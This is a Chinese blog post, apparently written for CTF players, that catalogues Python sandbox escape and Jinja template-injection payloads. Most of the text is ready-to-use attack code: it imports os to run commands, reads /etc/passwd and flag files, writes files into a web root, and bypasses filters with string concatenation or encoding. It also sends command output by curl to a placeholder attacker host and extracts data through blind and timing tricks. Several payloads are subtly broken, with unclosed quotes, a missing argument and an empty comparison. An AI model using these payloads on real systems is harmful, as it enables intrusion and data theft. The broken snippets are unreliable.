Python沙箱逃逸总结

0x00 简介

关于Python沙箱的逃逸,在多次CTF比赛中看到后,终于下定决心来进行一番学习和总结。

python沙箱逃逸:从一个受限制的python执行环境中获取到更高的权限,甚至getshell。

 

0x01 __builtins__

首先我们从python的内建函数__builtins__说起。通过dir(__builtins__)可以查看内置函数,展示所有内置类型和函数。

Python沙箱逃逸总结_第1张图片

我们先来看最基础的__import__函数

# 直接调用

__builtins__.__import__('os').system('dir')

# 通过dict访问

__builtins__.__dict__[‘import__('os')’].system('ls')

 

# 玩一些花样-转码

__builtins__.__dict__['X19pbXBvcnRfXw=='.decode('base64')]('b3M='.decode('base64')).system('ls')

此外还有file、open、eval等函数

__builtins__.__dict__.__getitem__('file')('/etc/passwd').read()
__builtins__.__dict__.__getitem__('open')('/etc/passwd').read()
__builtins__.__dict__.__getitem__('eval')("__import__('os').system('ls')")

# import 其他模块

__builtins__.__import__('commands').getoutput('id')
__builtins__.__import__('commands').getstatusoutput('id')
__builtins__.__import__('subprocess').call(['id'],shell=True)

Python沙箱逃逸总结_第2张图片

关于import还有其他一些有意思的操作,包括reload方法、设置sys.modules[‘os’]、execfile等。

 

0x03 object

除了builtins,是否还存在其他方法呢?这里我们来介绍python的object。

我们知道python是面向对象的语言,所有类均是从object继承而来。所以我们在构造payload时,第一步便是构造一个object,然后在通过object去进行想要的操作。构造一个object的方法有三个,第一个是通过类的属性__base__,通过该属性可以指明该类是继承自哪个类(所有类均是从object继承而来)。

Python沙箱逃逸总结_第3张图片

第二个是使用属性__bases__,原理跟__base__类似,它返回一个继承的数组,而数组的第一个便是object;

第三个方法是使用属性__mro__,__mro__即method resolution order,解析方法调用的顺序。其顺序的最后一位必定为一个object。

最终整理的可构造一个object对象的方法如下:

# use __base__
[].__class__.__base__
''.__class__.__base__
False.__class__.__base__.__base__
0.0.__class__.__base__
{}.__class__.__base__


# use __bases__[0]
[].__class__.__bases__[0]
''.__class__.__bases__[0]
False.__class__.__bases__[0]. __bases__[0]
0.0.__class__.__bases__[0]
{}.__class__.__bases__[0]

# use __mro__[-1]
[].__class__.__mro__[-1]
''.__class__.__mro__[-1]
False.__class__.__mro__[-1]
0.0.__class__.__mro__[-1]
{}.__class__.__mro__[-1]

0x04 命令执行

在得到一个object对象后,我们通过subclasses查看其支持的对象类型(本身支持subclasshook方法)。

Python沙箱逃逸总结_第4张图片

这里的file可用来进行最简单的文件读操作。

().__class__.__bases__[0].__subclasses__()[40]('/flag).read()

Python沙箱逃逸总结_第5张图片

此处,read、readline、readlines均可使用。

简单写文件示例:

().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/tmp', 'w').write('777')

__globals__属性

在讲命令执行前,这里还得介绍一下__globals__。该属性是函数特有的属性,记录当前文件全局变量的值,如果某个文件调用了os、sys等库,但我们只能访问该文件某个函数或者某个对象,那么我们就可以利用__globals__属性访问全局的变量。

python里面的内置模块本身调用os模块等可以命令执行的库,这里列举几个:

由于测试环境中未能复现该方法,此处不再作深入讲解。这里仅贴一些常见的payload供参考。

[].__class__.__base__.__subclasses__()[72].__init__.__globals__['os'].system('dir')

[].__class__.__base__.__subclasses__()[72].__init__.__globals__['os'].popen('dir')

[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('ls')

 

func_global属性

但在实际测试过程中,由于__globals__未能成功调用,还是转而使用了func_global属性。此处我们用catch_warnings类(索引在59),进行命令执行。

().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['os'].__dict__['system']('ls')

 

0x05 其他绕过姿势

在实际环境中,我们必然会碰到各种各样的过滤限制,这里也做了一些归纳

  • getattribute、decode拼接绕过关键字过滤
[].__class__.__base__.__subclasses__()[72].__init__.__getattribute__('__global'+'s__')['os'].system('dir')

[].__class__.__base__.__subclasses__()[72].__init__.__getattribute__('func_global'+'s')['os'].system('dir')

[].__class__.__base__.__subclasses__()[72].__init__.__getattribute__('5f5f676c6f62616c735f5f'.decode('hex'))['os'].system('ls')
  • 无[]法
    
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen('ls').read()
  • request法
# 无引号

{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(request.args.cmd).read() }}    提交参数&cmd=id

# 无__

{{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}    提交参数&class=__class__&mro=__mro__&subclasses=__subclasses__
  • 无回显
#curl

{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://ip:port?i=`whoami`').read()=='p' %}1{% endif %}
  • 盲注
{% if ''.__class__.__mro__[2].__subclasses__()[40]('/flag).read()[0:1]=='f' %}bingo{% endif %}
  • 时间盲注

__builtins__.__import__( timeit).timeit("__import__('os').system('if [ $(whoami|base32|wc -c|cut -c 1) =  ];then sleep 2;fi')", number=1)
  • 其他模块

__builtins__.__import__( timeit).timeit("__import__('os').system('ls')", number=1)

platform.popen('id', mode='r', bufsize=-1).read()

 

参考

https://blog.csdn.net/wy_97/article/details/80393854

https://www.jianshu.com/p/183581381c4f

https://xz.aliyun.com/t/52#

https://icematcha.win/?p=532

你可能感兴趣的:(Python)